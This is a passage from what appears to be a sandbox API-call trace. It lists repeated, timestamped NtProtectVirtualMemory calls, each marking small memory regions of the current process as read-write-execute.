BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.576] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.607] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.796] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.823] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.947] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.957] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0315.993] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.004] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.109] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.119] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.146] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.184] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.231] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.241] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.252] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.439] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.758] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, 